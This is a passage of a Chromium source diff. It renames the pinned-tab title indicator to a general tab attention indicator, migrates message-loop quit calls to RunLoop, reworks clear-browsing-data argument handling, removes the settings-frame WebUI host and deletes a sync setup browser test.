 void UnblockOnProfileCreation(Profile* profile,
                               Profile::CreateStatus status) {
   if (status == Profile::CREATE_STATUS_INITIALIZED)
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 // Checks that the relaunch name, relaunch command and app icon for the given
@@ -97,7 +98,7 @@
                 browser->profile()->GetPath()).value(),
             prop_var.get().pwszVal);
   prop_var.Reset();
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void ValidateHostedAppWindowProperties(const Browser* browser,
@@ -141,7 +142,7 @@
                 web_app_dir, base::UTF8ToUTF16(extension->name())).value(),
             prop_var.get().pwszVal);
   prop_var.Reset();
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void PostValidationTaskToUIThread(const base::Closure& validation_task) {
diff --git a/chrome/browser/ui/views/tabs/browser_tab_strip_controller.cc b/chrome/browser/ui/views/tabs/browser_tab_strip_controller.cc
index 5ca4247..db36bd2 100644
--- a/chrome/browser/ui/views/tabs/browser_tab_strip_controller.cc
+++ b/chrome/browser/ui/views/tabs/browser_tab_strip_controller.cc
@@ -490,6 +490,10 @@
   SetTabDataAt(contents, model_index);
 }
 
+void BrowserTabStripController::TabNeedsAttentionAt(int index) {
+  tabstrip_->SetTabNeedsAttention(index);
+}
+
 void BrowserTabStripController::SetTabRendererDataFromModel(
     WebContents* contents,
     int model_index,
diff --git a/chrome/browser/ui/views/tabs/browser_tab_strip_controller.h b/chrome/browser/ui/views/tabs/browser_tab_strip_controller.h
index bde789a..d51a2a0 100644
--- a/chrome/browser/ui/views/tabs/browser_tab_strip_controller.h
+++ b/chrome/browser/ui/views/tabs/browser_tab_strip_controller.h
@@ -102,6 +102,7 @@
                              int model_index) override;
   void TabBlockedStateChanged(content::WebContents* contents,
                               int model_index) override;
+  void TabNeedsAttentionAt(int index) override;
 
   const Browser* browser() const { return browser_view_->browser(); }
 
diff --git a/chrome/browser/ui/views/tabs/tab.cc b/chrome/browser/ui/views/tabs/tab.cc
index 72b067c..8f8f0ce 100644
--- a/chrome/browser/ui/views/tabs/tab.cc
+++ b/chrome/browser/ui/views/tabs/tab.cc
@@ -510,10 +510,9 @@
 }
 
 void Tab::ActiveStateChanged() {
-  // The pinned tab title changed indicator is only shown for inactive tabs.
-  // When transitioning between active and inactive always reset the state
-  // to enforce that.
-  SetPinnedTabTitleChangedIndicatorVisible(false);
+  // The attention indicator is only shown for inactive tabs. When transitioning
+  // between active and inactive always reset the state to enforce that.
+  SetTabNeedsAttention(false);
   OnButtonColorMaybeChanged();
   alert_indicator_button_->UpdateEnabledForMuteToggle();
   Layout();
@@ -561,7 +560,7 @@
     alert_indicator_button_->TransitionToAlertState(data_.alert_state);
 
   if (old.pinned != data_.pinned)
-    showing_pinned_tab_title_changed_indicator_ = false;
+    showing_alert_indicator_ = false;
 
   DataChanged(old);
 
@@ -584,13 +583,11 @@
   pulse_animation_->Stop();
 }
 
-void Tab::SetPinnedTabTitleChangedIndicatorVisible(bool value) {
-  if (value == showing_pinned_tab_title_changed_indicator_)
+void Tab::SetTabNeedsAttention(bool value) {
+  if (value == showing_attention_indicator_)
     return;
 
-  DCHECK(!value || data().pinned);
-
-  showing_pinned_tab_title_changed_indicator_ = value;
+  showing_attention_indicator_ = value;
   SchedulePaint();
 }
 
@@ -1219,10 +1216,9 @@
   canvas->DrawPath(path, flags);
 }
 
-void Tab::PaintPinnedTabTitleChangedIndicatorAndIcon(
-    gfx::Canvas* canvas,
-    const gfx::Rect& favicon_draw_bounds) {
-  // The pinned tab title changed indicator consists of two parts:
+void Tab::PaintAttentionIndicatorAndIcon(gfx::Canvas* canvas,
+                                         const gfx::Rect& favicon_draw_bounds) {
+  // The attention indicator consists of two parts:
   // . a clear (totally transparent) part over the bottom right (or left in rtl)
   //   of the favicon. This is done by drawing the favicon to a layer, then
   //   drawing the clear part on top of the favicon.
@@ -1245,7 +1241,7 @@
     canvas->Restore();
   }
 
-  // Draws the actual pinned tab title changed indicator.
+  // Draws the actual attention indicator.
   cc::PaintFlags indicator_flags;
   indicator_flags.setColor(GetNativeTheme()->GetSystemColor(
       ui::NativeTheme::kColorId_ProminentButtonColor));
@@ -1288,9 +1284,8 @@
     }
   }
 
-  if (showing_pinned_tab_title_changed_indicator_ &&
-      !should_display_crashed_favicon_) {
-    PaintPinnedTabTitleChangedIndicatorAndIcon(canvas, bounds);
+  if (showing_attention_indicator_ && !should_display_crashed_favicon_) {
+    PaintAttentionIndicatorAndIcon(canvas, bounds);
   } else if (!favicon_.isNull()) {
     canvas->DrawImageInt(favicon_, 0, 0, bounds.width(), bounds.height(),
                          bounds.x(), bounds.y(), bounds.width(),
diff --git a/chrome/browser/ui/views/tabs/tab.h b/chrome/browser/ui/views/tabs/tab.h
index e150f104..ce39b30 100644
--- a/chrome/browser/ui/views/tabs/tab.h
+++ b/chrome/browser/ui/views/tabs/tab.h
@@ -103,9 +103,9 @@
   void StartPulse();
   void StopPulse();
 
-  // Sets the visibility of the indicator shown when the tab title changes of
-  // an inactive pinned tab.
-  void SetPinnedTabTitleChangedIndicatorVisible(bool value);
+  // Sets the visibility of the indicator shown when the tab needs to indicate
+  // to the user that it needs their attention.
+  void SetTabNeedsAttention(bool value);
 
   // Set the background offset used to match the image in the inactive tab
   // to the frame image.
@@ -251,12 +251,11 @@
                                 bool active,
                                 SkColor color);
 
-  // Paints the pinned tab title changed indicator and |favicon_|. |favicon_|
-  // may be null. |favicon_draw_bounds| is |favicon_bounds_| adjusted for rtl
-  // and clipped to the bounds of the tab.
-  void PaintPinnedTabTitleChangedIndicatorAndIcon(
-      gfx::Canvas* canvas,
-      const gfx::Rect& favicon_draw_bounds);
+  // Paints the attention indicator and |favicon_|. |favicon_| may be null.
+  // |favicon_draw_bounds| is |favicon_bounds_| adjusted for rtl and clipped to
+  // the bounds of the tab.
+  void PaintAttentionIndicatorAndIcon(gfx::Canvas* canvas,
+                                      const gfx::Rect& favicon_draw_bounds);
 
   // Paints the favicon, mirrored for RTL if needed.
   void PaintIcon(gfx::Canvas* canvas);
@@ -323,7 +322,7 @@
 
   bool should_display_crashed_favicon_;
 
-  bool showing_pinned_tab_title_changed_indicator_ = false;
+  bool showing_attention_indicator_ = false;
 
   // Whole-tab throbbing "pulse" animation.
   std::unique_ptr<gfx::ThrobAnimation> pulse_animation_;
diff --git a/chrome/browser/ui/views/tabs/tab_drag_controller_interactive_uitest.cc b/chrome/browser/ui/views/tabs/tab_drag_controller_interactive_uitest.cc
index 5190d53..c3f4f4e6 100644
--- a/chrome/browser/ui/views/tabs/tab_drag_controller_interactive_uitest.cc
+++ b/chrome/browser/ui/views/tabs/tab_drag_controller_interactive_uitest.cc
@@ -111,7 +111,7 @@
                const content::NotificationSource& source,
                const content::NotificationDetails& details) override {
     DCHECK_EQ(chrome::NOTIFICATION_TAB_DRAG_LOOP_DONE, type);
-    base::MessageLoopForUI::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
     delete this;
   }
 
diff --git a/chrome/browser/ui/views/tabs/tab_strip.cc b/chrome/browser/ui/views/tabs/tab_strip.cc
index 58ee5e1..3fb853b 100644
--- a/chrome/browser/ui/views/tabs/tab_strip.cc
+++ b/chrome/browser/ui/views/tabs/tab_strip.cc
@@ -640,7 +640,11 @@
 void TabStrip::TabTitleChangedNotLoading(int model_index) {
   Tab* tab = tab_at(model_index);
   if (tab->data().pinned && !tab->IsActive())
-    tab->SetPinnedTabTitleChangedIndicatorVisible(true);
+    tab->SetTabNeedsAttention(true);
+}
+
+void TabStrip::SetTabNeedsAttention(int model_index) {
+  tab_at(model_index)->SetTabNeedsAttention(true);
 }
 
 int TabStrip::GetModelIndexOfTab(const Tab* tab) const {
diff --git a/chrome/browser/ui/views/tabs/tab_strip.h b/chrome/browser/ui/views/tabs/tab_strip.h
index 3aec512b..7601eaa6 100644
--- a/chrome/browser/ui/views/tabs/tab_strip.h
+++ b/chrome/browser/ui/views/tabs/tab_strip.h
@@ -129,6 +129,9 @@
   // Invoked when the title of a tab changes and the tab isn't loading.
   void TabTitleChangedNotLoading(int model_index);
 
+  // Invoked when a tab needs to show UI that it needs the user's attention.
+  void SetTabNeedsAttention(int model_index);
+
   // Retrieves the ideal bounds for the Tab at the specified index.
   const gfx::Rect& ideal_bounds(int tab_data_index) {
     return tabs_.ideal_bounds(tab_data_index);
diff --git a/chrome/browser/ui/views/tabs/tab_strip_unittest.cc b/chrome/browser/ui/views/tabs/tab_strip_unittest.cc
index 66102a6..49937e77 100644
--- a/chrome/browser/ui/views/tabs/tab_strip_unittest.cc
+++ b/chrome/browser/ui/views/tabs/tab_strip_unittest.cc
@@ -129,9 +129,8 @@
   }
 
  protected:
-  bool IsShowingPinnedTabTitleChangedIndicator(int model_index) {
-    return tab_strip_->tab_at(model_index)
-        ->showing_pinned_tab_title_changed_indicator_;
+  bool IsShowingAttentionIndicator(int model_index) {
+    return tab_strip_->tab_at(model_index)->showing_attention_indicator_;
   }
 
   // Checks whether |tab| contains |point_in_tabstrip_coords|, where the point
@@ -523,7 +522,7 @@
   EXPECT_LE(tab_strip_->GetNewTabButtonBounds().right(), kTabStripWidth);
 }
 
-TEST_F(TabStripTest, PinnedTabTitleChangedIndicatorHidesOnSelect) {
+TEST_F(TabStripTest, AttentionIndicatorHidesOnSelect) {
   for (int i = 0; i < 2; ++i)
     controller_->AddTab(i, (i == 0));
 
@@ -533,15 +532,15 @@
   tab_strip_->SetTabData(0, pinned_data);
   tab_strip_->SetTabData(1, pinned_data);
 
-  EXPECT_FALSE(IsShowingPinnedTabTitleChangedIndicator(0));
-  EXPECT_FALSE(IsShowingPinnedTabTitleChangedIndicator(1));
+  EXPECT_FALSE(IsShowingAttentionIndicator(0));
+  EXPECT_FALSE(IsShowingAttentionIndicator(1));
 
   // Change the title of the second tab (first tab is selected).
   tab_strip_->TabTitleChangedNotLoading(1);
   // Indicator should be shown.
-  EXPECT_TRUE(IsShowingPinnedTabTitleChangedIndicator(1));
+  EXPECT_TRUE(IsShowingAttentionIndicator(1));
   // Select the second tab.
   controller_->SelectTab(1);
   // Indicator should hide.
-  EXPECT_FALSE(IsShowingPinnedTabTitleChangedIndicator(1));
+  EXPECT_FALSE(IsShowingAttentionIndicator(1));
 }
diff --git a/chrome/browser/ui/views/try_chrome_dialog_view.cc b/chrome/browser/ui/views/try_chrome_dialog_view.cc
index c410bb9..e6724787 100644
--- a/chrome/browser/ui/views/try_chrome_dialog_view.cc
+++ b/chrome/browser/ui/views/try_chrome_dialog_view.cc
@@ -8,7 +8,6 @@
 
 #include "base/logging.h"
 #include "base/macros.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/strings/string16.h"
 #include "chrome/browser/process_singleton.h"
@@ -23,6 +22,7 @@
 #include "ui/base/l10n/l10n_util.h"
 #include "ui/base/resource/resource_bundle.h"
 #include "ui/display/screen.h"
+#include "ui/display/win/screen_win.h"
 #include "ui/gfx/image/image.h"
 #include "ui/resources/grit/ui_resources.h"
 #include "ui/views/background.h"
@@ -293,7 +293,11 @@
   // Carve the toast shape into the window.
   HWND toast_window;
   toast_window = popup_->GetNativeView()->GetHost()->GetAcceleratedWidget();
-  SetToastRegion(toast_window, preferred.width(), preferred.height());
+
+  gfx::Size size_in_pixels = display::win::ScreenWin::DIPToScreenSize(
+      toast_window, preferred);
+  SetToastRegion(toast_window, size_in_pixels.width(),
+                 size_in_pixels.height());
 
   // Time to show the window in a modal loop.
   popup_->Show();
@@ -320,8 +324,7 @@
   origin.set_x(is_RTL ? work_area.x() : work_area.right() - size.width());
   origin.set_y(work_area.bottom()- size.height());
 
-  return display::Screen::GetScreen()->ScreenToDIPRectInWindow(
-      popup_->GetNativeView(), gfx::Rect(origin, size));
+  return gfx::Rect(origin, size);
 }
 
 void TryChromeDialogView::SetToastRegion(HWND window, int w, int h) {
@@ -371,7 +374,7 @@
   }
 
   popup_->Close();
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void TryChromeDialogView::LinkClicked(views::Link* source, int event_flags) {
diff --git a/chrome/browser/ui/views/web_dialog_view_browsertest.cc b/chrome/browser/ui/views/web_dialog_view_browsertest.cc
index 9b46cde1..387862ae 100644
--- a/chrome/browser/ui/views/web_dialog_view_browsertest.cc
+++ b/chrome/browser/ui/views/web_dialog_view_browsertest.cc
@@ -7,6 +7,7 @@
 #include "base/location.h"
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/threading/thread_task_runner_handle.h"
 #include "build/build_config.h"
@@ -61,8 +62,7 @@
       // loop.
       base::ThreadTaskRunnerHandle::Get()->PostTask(
           FROM_HERE,
-          base::BindOnce(&base::MessageLoop::QuitWhenIdle,
-                         base::Unretained(base::MessageLoop::current())));
+          base::BindOnce(&base::RunLoop::QuitCurrentWhenIdleDeprecated));
     }
 
     last_size_ = bounds.size();
diff --git a/chrome/browser/ui/webui/chrome_web_ui_controller_factory.cc b/chrome/browser/ui/webui/chrome_web_ui_controller_factory.cc
index 6cd7bbde..2cecb66 100644
--- a/chrome/browser/ui/webui/chrome_web_ui_controller_factory.cc
+++ b/chrome/browser/ui/webui/chrome_web_ui_controller_factory.cc
@@ -148,7 +148,6 @@
 #include "chrome/browser/ui/webui/chromeos/sim_unlock_ui.h"
 #include "chrome/browser/ui/webui/chromeos/slow_trace_ui.h"
 #include "chrome/browser/ui/webui/chromeos/slow_ui.h"
-#include "chrome/browser/ui/webui/options/options_ui.h"
 #include "chrome/browser/ui/webui/voice_search_ui.h"
 #include "components/proximity_auth/webui/proximity_auth_ui.h"
 #include "components/proximity_auth/webui/url_constants.h"
@@ -480,8 +479,6 @@
     return &NewWebUI<chromeos::ProxySettingsUI>;
   if (url.host_piece() == chrome::kChromeUISetTimeHost)
     return &NewWebUI<chromeos::SetTimeUI>;
-  if (url.host_piece() == chrome::kChromeUISettingsFrameHost)
-    return &NewWebUI<options::OptionsUI>;
   if (url.host_piece() == chrome::kChromeUISimUnlockHost)
     return &NewWebUI<chromeos::SimUnlockUI>;
   if (url.host_piece() == chrome::kChromeUISlowHost)
@@ -814,7 +811,6 @@
 
   // Android doesn't use the Options/Settings pages.
   if (page_url.host_piece() == chrome::kChromeUISettingsHost ||
-      page_url.host_piece() == chrome::kChromeUISettingsFrameHost ||
       page_url.host_piece() == chrome::kChromeUIMdSettingsHost)
     return settings_utils::GetFaviconResourceBytes(scale_factor);
 
diff --git a/chrome/browser/ui/webui/chromeos/first_run/first_run_ui.cc b/chrome/browser/ui/webui/chromeos/first_run/first_run_ui.cc
index c439b90..727af75 100644
--- a/chrome/browser/ui/webui/chromeos/first_run/first_run_ui.cc
+++ b/chrome/browser/ui/webui/chromeos/first_run/first_run_ui.cc
@@ -44,13 +44,8 @@
       "trayText", l10n_util::GetStringUTF16(IDS_FIRST_RUN_TRAY_STEP_TEXT));
   localized_strings->SetString(
       "helpHeader", l10n_util::GetStringUTF16(IDS_FIRST_RUN_HELP_STEP_HEADER));
-  base::string16 product_name =
-      l10n_util::GetStringUTF16(IDS_SHORT_PRODUCT_NAME);
   localized_strings->SetString(
-      "helpText1", l10n_util::GetStringFUTF16(IDS_FIRST_RUN_HELP_STEP_TEXT_1,
-                                              product_name));
-  localized_strings->SetString(
-      "helpText2", l10n_util::GetStringUTF16(IDS_FIRST_RUN_HELP_STEP_TEXT_2));
+      "helpText", l10n_util::GetStringUTF16(IDS_FIRST_RUN_HELP_STEP_TEXT));
   localized_strings->SetString(
       "helpKeepExploringButton",
       l10n_util::GetStringUTF16(IDS_FIRST_RUN_HELP_STEP_KEEP_EXPLORING_BUTTON));
diff --git a/chrome/browser/ui/webui/local_discovery/local_discovery_ui_browsertest.cc b/chrome/browser/ui/webui/local_discovery/local_discovery_ui_browsertest.cc
index 99715041..fc499de4 100644
--- a/chrome/browser/ui/webui/local_discovery/local_discovery_ui_browsertest.cc
+++ b/chrome/browser/ui/webui/local_discovery/local_discovery_ui_browsertest.cc
@@ -298,7 +298,7 @@
   void Signal() {
     signaled_ = true;
     if (waiting_)
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   // Pause execution and recursively run the message loop until |Signal()| is
@@ -453,8 +453,7 @@
 
   void RunFor(base::TimeDelta time_period) {
     base::CancelableCallback<void()> callback(
-        base::Bind(&base::MessageLoop::QuitWhenIdle,
-                   base::Unretained(base::MessageLoop::current())));
+        base::Bind(&base::RunLoop::QuitCurrentWhenIdleDeprecated));
     base::ThreadTaskRunnerHandle::Get()->PostDelayedTask(
         FROM_HERE, callback.callback(), time_period);
 
diff --git a/chrome/browser/ui/webui/options/options_ui.cc b/chrome/browser/ui/webui/options/options_ui.cc
index 911a0ad..aaf5474e 100644
--- a/chrome/browser/ui/webui/options/options_ui.cc
+++ b/chrome/browser/ui/webui/options/options_ui.cc
@@ -230,7 +230,11 @@
 }
 
 std::string OptionsUIHTMLSource::GetSource() const {
-  return chrome::kChromeUISettingsFrameHost;
+  // TODO(stevenjb): Remove this file. Because everything in this directory
+  // depends on this, we will remove the entire directory at once after
+  // the old CrOS oobe/login UI dependencies are removed. crbug.com/748164.
+  NOTREACHED();
+  return "settings-frame";
 }
 
 void OptionsUIHTMLSource::StartDataRequest(
@@ -591,8 +595,7 @@
   load_start_time_ = base::Time::Now();
   if (navigation_handle->GetRenderFrameHost()->GetRenderViewHost() ==
           web_ui()->GetWebContents()->GetRenderViewHost() &&
-      navigation_handle->GetURL().host_piece() ==
-          chrome::kChromeUISettingsFrameHost) {
+      navigation_handle->GetURL().host_piece() == "settings-frame") {
     for (size_t i = 0; i < handlers_.size(); ++i)
       handlers_[i]->PageLoadStarted();
   }
diff --git a/chrome/browser/ui/webui/settings/settings_clear_browsing_data_handler.cc b/chrome/browser/ui/webui/settings/settings_clear_browsing_data_handler.cc
index 8ba91de..598f324 100644
--- a/chrome/browser/ui/webui/settings/settings_clear_browsing_data_handler.cc
+++ b/chrome/browser/ui/webui/settings/settings_clear_browsing_data_handler.cc
@@ -34,6 +34,7 @@
 #include "ui/base/text/bytes_formatting.h"
 
 using ImportantReason = ImportantSitesUtil::ImportantReason;
+using BrowsingDataType = browsing_data::BrowsingDataType;
 
 namespace {
 
@@ -110,6 +111,10 @@
 
 void ClearBrowsingDataHandler::HandleClearBrowsingData(
     const base::ListValue* args) {
+  CHECK_EQ(4U, args->GetSize());
+  std::string webui_callback_id;
+  CHECK(args->GetString(0, &webui_callback_id));
+
   PrefService* prefs = profile_->GetPrefs();
 
   int site_data_mask = ChromeBrowsingDataRemoverDelegate::DATA_TYPE_SITE_DATA;
@@ -118,44 +123,66 @@
     site_data_mask &= ~ChromeBrowsingDataRemoverDelegate::DATA_TYPE_PLUGIN_DATA;
 
   int remove_mask = 0;
-  if (prefs->GetBoolean(prefs::kAllowDeletingBrowserHistory)) {
-    if (prefs->GetBoolean(browsing_data::prefs::kDeleteBrowsingHistory))
-      remove_mask |= ChromeBrowsingDataRemoverDelegate::DATA_TYPE_HISTORY;
-    if (prefs->GetBoolean(browsing_data::prefs::kDeleteDownloadHistory))
-      remove_mask |= content::BrowsingDataRemover::DATA_TYPE_DOWNLOADS;
-  }
-
-  if (prefs->GetBoolean(browsing_data::prefs::kDeleteCache))
-    remove_mask |= content::BrowsingDataRemover::DATA_TYPE_CACHE;
-
   int origin_mask = 0;
-  if (prefs->GetBoolean(browsing_data::prefs::kDeleteCookies)) {
-    remove_mask |= site_data_mask;
-    origin_mask |= content::BrowsingDataRemover::ORIGIN_TYPE_UNPROTECTED_WEB;
+  std::vector<BrowsingDataType> data_type_vector;
+  const base::ListValue* data_type_list = nullptr;
+  CHECK(args->GetList(1, &data_type_list));
+  for (const auto& type : *data_type_list) {
+    std::string pref_name;
+    CHECK(type.GetAsString(&pref_name));
+    BrowsingDataType data_type =
+        browsing_data::GetDataTypeFromDeletionPreference(pref_name);
+    data_type_vector.push_back(data_type);
+
+    switch (data_type) {
+      case BrowsingDataType::HISTORY:
+        if (prefs->GetBoolean(prefs::kAllowDeletingBrowserHistory))
+          remove_mask |= ChromeBrowsingDataRemoverDelegate::DATA_TYPE_HISTORY;
+        break;
+      case BrowsingDataType::DOWNLOADS:
+        if (prefs->GetBoolean(prefs::kAllowDeletingBrowserHistory))
+          remove_mask |= content::BrowsingDataRemover::DATA_TYPE_DOWNLOADS;
+        break;
+      case BrowsingDataType::CACHE:
+        remove_mask |= content::BrowsingDataRemover::DATA_TYPE_CACHE;
+        break;
+      case BrowsingDataType::COOKIES:
+        remove_mask |= site_data_mask;
+        origin_mask |=
+            content::BrowsingDataRemover::ORIGIN_TYPE_UNPROTECTED_WEB;
+        break;
+      case BrowsingDataType::PASSWORDS:
+        remove_mask |= ChromeBrowsingDataRemoverDelegate::DATA_TYPE_PASSWORDS;
+        break;
+      case BrowsingDataType::FORM_DATA:
+        remove_mask |= ChromeBrowsingDataRemoverDelegate::DATA_TYPE_FORM_DATA;
+        break;
+      case BrowsingDataType::MEDIA_LICENSES:
+        remove_mask |= content::BrowsingDataRemover::DATA_TYPE_MEDIA_LICENSES;
+        break;
+      case BrowsingDataType::HOSTED_APPS_DATA:
+        remove_mask |= site_data_mask;
+        origin_mask |= content::BrowsingDataRemover::ORIGIN_TYPE_PROTECTED_WEB;
+        break;
+      case BrowsingDataType::BOOKMARKS:
+      case BrowsingDataType::SITE_SETTINGS:
+        // Only implemented on Android.
+        NOTREACHED();
+      case BrowsingDataType::NUM_TYPES:
+        NOTREACHED();
+    }
   }
 
-  if (prefs->GetBoolean(browsing_data::prefs::kDeletePasswords))
-    remove_mask |= ChromeBrowsingDataRemoverDelegate::DATA_TYPE_PASSWORDS;
-
-  if (prefs->GetBoolean(browsing_data::prefs::kDeleteFormData))
-    remove_mask |= ChromeBrowsingDataRemoverDelegate::DATA_TYPE_FORM_DATA;
-
-  if (prefs->GetBoolean(browsing_data::prefs::kDeleteMediaLicenses))
-    remove_mask |= content::BrowsingDataRemover::DATA_TYPE_MEDIA_LICENSES;
-
-  if (prefs->GetBoolean(browsing_data::prefs::kDeleteHostedAppsData)) {
-    remove_mask |= site_data_mask;
-    origin_mask |= content::BrowsingDataRemover::ORIGIN_TYPE_PROTECTED_WEB;
-  }
+  base::flat_set<BrowsingDataType> data_types(std::move(data_type_vector));
 
   // Record the deletion of cookies and cache.
   content::BrowsingDataRemover::CookieOrCacheDeletionChoice choice =
       content::BrowsingDataRemover::NEITHER_COOKIES_NOR_CACHE;
-  if (prefs->GetBoolean(browsing_data::prefs::kDeleteCookies)) {
-    choice = prefs->GetBoolean(browsing_data::prefs::kDeleteCache)
+  if (data_types.find(BrowsingDataType::COOKIES) != data_types.end()) {
+    choice = data_types.find(BrowsingDataType::CACHE) != data_types.end()
                  ? content::BrowsingDataRemover::BOTH_COOKIES_AND_CACHE
                  : content::BrowsingDataRemover::ONLY_COOKIES;
-  } else if (prefs->GetBoolean(browsing_data::prefs::kDeleteCache)) {
+  } else if (data_types.find(BrowsingDataType::CACHE) != data_types.end()) {
     choice = content::BrowsingDataRemover::ONLY_CACHE;
   }
 
@@ -164,43 +191,38 @@
       content::BrowsingDataRemover::MAX_CHOICE_VALUE);
 
   // Record the circumstances under which passwords are deleted.
-  if (prefs->GetBoolean(browsing_data::prefs::kDeletePasswords)) {
-    static const char* other_types[] = {
-        browsing_data::prefs::kDeleteBrowsingHistory,
-        browsing_data::prefs::kDeleteDownloadHistory,
-        browsing_data::prefs::kDeleteCache,
-        browsing_data::prefs::kDeleteCookies,
-        browsing_data::prefs::kDeleteFormData,
-        browsing_data::prefs::kDeleteHostedAppsData,
-        browsing_data::prefs::kDeleteMediaLicenses,
+  if (data_types.find(BrowsingDataType::PASSWORDS) != data_types.end()) {
+    static const BrowsingDataType other_types[] = {
+        BrowsingDataType::HISTORY,        BrowsingDataType::DOWNLOADS,
+        BrowsingDataType::CACHE,          BrowsingDataType::COOKIES,
+        BrowsingDataType::FORM_DATA,      BrowsingDataType::HOSTED_APPS_DATA,
+        BrowsingDataType::MEDIA_LICENSES,
     };
     static size_t num_other_types = arraysize(other_types);
-    int checked_other_types = std::count_if(
-        other_types, other_types + num_other_types,
-        [prefs](const std::string& pref) { return prefs->GetBoolean(pref); });
+    int checked_other_types =
+        std::count_if(other_types, other_types + num_other_types,
+                      [&data_types](BrowsingDataType type) {
+                        return data_types.find(type) != data_types.end();
+                      });
     UMA_HISTOGRAM_SPARSE_SLOWLY(
         "History.ClearBrowsingData.PasswordsDeletion.AdditionalDatatypesCount",
         checked_other_types);
   }
 
-  int period_selected =
-      prefs->GetInteger(browsing_data::prefs::kDeleteTimePeriod);
-
-  std::string webui_callback_id;
-  CHECK_EQ(2U, args->GetSize());
-  CHECK(args->GetString(0, &webui_callback_id));
+  int period_selected;
+  CHECK(args->GetInteger(2, &period_selected));
 
   const base::ListValue* important_sites = nullptr;
-  CHECK(args->GetList(1, &important_sites));
+  CHECK(args->GetList(3, &important_sites));
   std::unique_ptr<content::BrowsingDataFilterBuilder> filter_builder =
       ProcessImportantSites(important_sites);
 
   content::BrowsingDataRemover* remover =
       content::BrowserContext::GetBrowsingDataRemover(profile_);
 
-  base::OnceClosure callback =
-      base::BindOnce(&ClearBrowsingDataHandler::OnClearingTaskFinished,
-                     weak_ptr_factory_.GetWeakPtr(), webui_callback_id);
+  base::OnceClosure callback = base::BindOnce(
+      &ClearBrowsingDataHandler::OnClearingTaskFinished,
+      weak_ptr_factory_.GetWeakPtr(), webui_callback_id, std::move(data_types));
   browsing_data::TimePeriod time_period =
       static_cast<browsing_data::TimePeriod>(period_selected);
 
@@ -250,7 +272,8 @@
 }
 
 void ClearBrowsingDataHandler::OnClearingTaskFinished(
-    const std::string& webui_callback_id) {
+    const std::string& webui_callback_id,
+    const base::flat_set<BrowsingDataType>& data_types) {
   PrefService* prefs = profile_->GetPrefs();
   int notice_shown_times = prefs->GetInteger(
       browsing_data::prefs::kClearBrowsingDataHistoryNoticeShownTimes);
@@ -263,7 +286,7 @@
       // 2. The notice has been shown less than |kMaxTimesHistoryNoticeShown|.
       notice_shown_times < kMaxTimesHistoryNoticeShown &&
       // 3. The selected data types contained browsing history.
-      prefs->GetBoolean(browsing_data::prefs::kDeleteBrowsingHistory);
+      data_types.find(BrowsingDataType::HISTORY) != data_types.end();
 
   if (show_notice) {
     // Increment the preference.
diff --git a/chrome/browser/ui/webui/settings/settings_clear_browsing_data_handler.h b/chrome/browser/ui/webui/settings/settings_clear_browsing_data_handler.h
index 07cce948..7e833071 100644
--- a/chrome/browser/ui/webui/settings/settings_clear_browsing_data_handler.h
+++ b/chrome/browser/ui/webui/settings/settings_clear_browsing_data_handler.h
@@ -9,12 +9,14 @@
 #include <string>
 #include <vector>
 
+#include "base/containers/flat_set.h"
 #include "base/macros.h"
 #include "base/scoped_observer.h"
 #include "chrome/browser/engagement/important_sites_util.h"
 #include "chrome/browser/profiles/profile.h"
 #include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
 #include "components/browser_sync/profile_sync_service.h"
+#include "components/browsing_data/core/browsing_data_utils.h"
 #include "components/browsing_data/core/counters/browsing_data_counter.h"
 
 namespace base {
@@ -51,7 +53,9 @@
 
   // Called when a clearing task finished. |webui_callback_id| is provided
   // by the WebUI action that initiated it.
-  void OnClearingTaskFinished(const std::string& webui_callback_id);
+  void OnClearingTaskFinished(
+      const std::string& webui_callback_id,
+      const base::flat_set<browsing_data::BrowsingDataType>& data_types);
 
   // Get important sites, called by Javascript.
   void HandleGetImportantSites(const base::ListValue* value);
diff --git a/chrome/browser/ui/webui/signin/signin_dice_internals_handler.cc b/chrome/browser/ui/webui/signin/signin_dice_internals_handler.cc
index 48e1c14c..897f0c5e 100644
--- a/chrome/browser/ui/webui/signin/signin_dice_internals_handler.cc
+++ b/chrome/browser/ui/webui/signin/signin_dice_internals_handler.cc
@@ -53,11 +53,6 @@
   // OneClickSigninSyncStarter is suicidal (it will kill itself once it finishes
   // enabling sync).
   OneClickSigninSyncStarter::Callback callback;
-  new OneClickSigninSyncStarter(
-      profile_, browser, gaia_id, email, "" /* password */,
-      "" /* refresh_token */, OneClickSigninSyncStarter::CURRENT_PROFILE,
-      OneClickSigninSyncStarter::CONFIRM_SYNC_SETTINGS_FIRST,
-      web_ui()->GetWebContents(),
-      OneClickSigninSyncStarter::CONFIRM_AFTER_SIGNIN,
-      GURL("") /* current_url */, GURL("") /* continue_url */, callback);
+  new OneClickSigninSyncStarter(profile_, browser, gaia_id, email,
+                                web_ui()->GetWebContents(), callback);
 }
diff --git a/chrome/browser/ui/webui/sync_setup_browsertest.js b/chrome/browser/ui/webui/sync_setup_browsertest.js
deleted file mode 100644
index 578dfd0b..0000000
--- a/chrome/browser/ui/webui/sync_setup_browsertest.js
+++ /dev/null
@@ -1,139 +0,0 @@
-// Copyright (c) 2012 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-GEN('#if !defined(OS_CHROMEOS)');
-
-/**
- * Test fixture for sync setup WebUI testing.
- * @constructor
- * @extends {testing.Test}
- */
-function SyncSetupWebUITest() {}
-
-SyncSetupWebUITest.prototype = {
-  __proto__: testing.Test.prototype,
-
-  /**
-   * Browse to the settings sub-frame.
-   */
-  browsePreload: 'chrome://settings-frame',
-
-  /** @override */
-  preLoad: function() {
-    this.makeAndRegisterMockHandler(['SyncSetupConfigure',
-                                     'SyncSetupShowSetupUI',
